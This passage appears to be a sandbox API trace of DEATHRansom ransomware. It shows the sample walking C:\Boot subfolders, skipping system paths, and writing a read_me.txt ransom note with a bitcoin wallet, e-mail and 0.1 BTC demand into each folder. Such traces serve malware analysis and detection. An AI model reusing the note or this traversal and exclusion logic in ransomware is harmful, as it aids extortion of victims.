price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.682] WriteFile (in: hFile=0x7b8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.683] CloseHandle (hObject=0x7b8) returned 1 [0077.683] GetProcessHeap () returned 0x540000 [0077.683] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.683] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0077.683] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT") returned 17 [0077.683] lstrcmpW (lpString1="pt-PT", lpString2="..") returned 1 [0077.683] lstrcmpW (lpString1="pt-PT", lpString2=".") returned 1 [0077.683] StrStrW (lpFirst="pt-pt", lpSrch="programdata") returned 0x0 [0077.683] StrStrW (lpFirst="pt-pt", lpSrch="$recycle.bin") returned 0x0 [0077.683] StrStrW (lpFirst="pt-pt", lpSrch="program files") returned 0x0 [0077.683] StrStrW (lpFirst="pt-pt", lpSrch="windows") returned 0x0 [0077.684] StrStrW (lpFirst="pt-pt", lpSrch="all users") returned 0x0 [0077.684] StrStrW (lpFirst="pt-pt", lpSrch="appdata") returned 0x0 [0077.684] GetProcessHeap () returned 0x540000 [0077.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.684] lstrcpyW (in: lpString1=0x4170060, lpString2="\\\\?\\C:\\Boot\\pt-PT" | out: lpString1="\\\\?\\C:\\Boot\\pt-PT") returned="\\\\?\\C:\\Boot\\pt-PT" [0077.684] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 19 [0077.684] QueueUserWorkItem (Function=0x40a710, Context=0x4170060, Flags=0x0) returned 1 [0077.684] GetProcessHeap () returned 0x540000 [0077.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.684] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\*") returned 19 [0077.684] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.684] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\.") returned 19 [0077.684] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.684] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.684] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.684] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\..") returned 20 [0077.684] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.685] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.685] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 33 [0077.685] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.685] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.685] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\read_me.txt") returned 29 [0077.685] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\read_me.txt" (normalized: "c:\\boot\\pt-pt\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0077.685] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.685] WriteFile (in: hFile=0x7b8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.686] CloseHandle (hObject=0x7b8) returned 1 [0077.686] GetProcessHeap () returned 0x540000 [0077.686] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.686] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0077.686] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU") returned 17 [0077.686] lstrcmpW (lpString1="ru-RU", lpString2="..") returned 1 [0077.686] lstrcmpW (lpString1="ru-RU", lpString2=".") returned 1 [0077.686] StrStrW (lpFirst="ru-ru", lpSrch="programdata") returned 0x0 [0077.686] StrStrW (lpFirst="ru-ru", lpSrch="$recycle.bin") returned 0x0 [0077.686] StrStrW (lpFirst="ru-ru", lpSrch="program files") returned 0x0 [0077.686] StrStrW (lpFirst="ru-ru", lpSrch="windows") returned 0x0 [0077.686] StrStrW (lpFirst="ru-ru", lpSrch="all users") returned 0x0 [0077.686] StrStrW (lpFirst="ru-ru", lpSrch="appdata") returned 0x0 [0077.686] GetProcessHeap () returned 0x540000 [0077.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.687] lstrcpyW (in: lpString1=0x4150050, lpString2="\\\\?\\C:\\Boot\\ru-RU" | out: lpString1="\\\\?\\C:\\Boot\\ru-RU") returned="\\\\?\\C:\\Boot\\ru-RU" [0077.687] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 20 [0077.687] QueueUserWorkItem (Function=0x40a710, Context=0x4150050, Flags=0x0) returned 1 [0077.687] GetProcessHeap () returned 0x540000 [0077.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4190070 [0077.687] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\*") returned 19 [0077.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0077.690] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\.") returned 19 [0077.690] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.690] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.690] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.690] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\..") returned 20 [0077.690] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.690] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.691] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 33 [0077.691] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.691] FindClose (in: hFindFile=0x32fc248 | out: hFindFile=0x32fc248) returned 1 [0077.691] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\read_me.txt") returned 29 [0077.691] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\read_me.txt" (normalized: "c:\\boot\\ru-ru\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0077.691] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.691] WriteFile (in: hFile=0x7b0, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.692] CloseHandle (hObject=0x7b0) returned 1 [0077.692] GetProcessHeap () returned 0x540000 [0077.692] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4190070 | out: hHeap=0x540000) returned 1 [0077.692] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0077.692] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE") returned 17 [0077.692] lstrcmpW (lpString1="sv-SE", lpString2="..") returned 1 [0077.692] lstrcmpW (lpString1="sv-SE", lpString2=".") returned 1 [0077.692] StrStrW (lpFirst="sv-se", lpSrch="programdata") returned 0x0 [0077.692] StrStrW (lpFirst="sv-se", lpSrch="$recycle.bin") returned 0x0 [0077.692] StrStrW (lpFirst="sv-se", lpSrch="program files") returned 0x0 [0077.692] StrStrW (lpFirst="sv-se", lpSrch="windows") returned 0x0 [0077.692] StrStrW (lpFirst="sv-se", lpSrch="all users") returned 0x0 [0077.692] StrStrW (lpFirst="sv-se", lpSrch="appdata") returned 0x0 [0077.692] GetProcessHeap () returned 0x540000 [0077.693] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4190070 [0077.693] lstrcpyW (in: lpString1=0x4190070, lpString2="\\\\?\\C:\\Boot\\sv-SE" | out: lpString1="\\\\?\\C:\\Boot\\sv-SE") returned="\\\\?\\C:\\Boot\\sv-SE" [0077.693] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 21 [0077.693] QueueUserWorkItem (Function=0x40a710, Context=0x4190070, Flags=0x0) returned 1 [0077.693] GetProcessHeap () returned 0x540000 [0077.693] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.693] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\*") returned 19 [0077.693] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0077.693] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\.") returned 19 [0077.693] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.693] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.693] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.693] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\..") returned 20 [0077.693] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.693] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.693] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 33 [0077.693] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.693] FindClose (in: hFindFile=0x32fc248 | out: hFindFile=0x32fc248) returned 1 [0077.695] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\read_me.txt") returned 29 [0077.695] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\read_me.txt" (normalized: "c:\\boot\\sv-se\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0077.695] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.695] WriteFile (in: hFile=0x7b0, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.696] CloseHandle (hObject=0x7b0) returned 1 [0077.696] GetProcessHeap () returned 0x540000 [0077.696] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.696] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0077.696] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR") returned 17 [0077.696] lstrcmpW (lpString1="tr-TR", lpString2="..") returned 1 [0077.696] lstrcmpW (lpString1="tr-TR", lpString2=".") returned 1 [0077.696] StrStrW (lpFirst="tr-tr", lpSrch="programdata") returned 0x0 [0077.696] StrStrW (lpFirst="tr-tr", lpSrch="$recycle.bin") returned 0x0 [0077.696] StrStrW (lpFirst="tr-tr", lpSrch="program files") returned 0x0 [0077.696] StrStrW (lpFirst="tr-tr", lpSrch="windows") returned 0x0 [0077.696] StrStrW (lpFirst="tr-tr", lpSrch="all users") returned 0x0 [0077.696] StrStrW 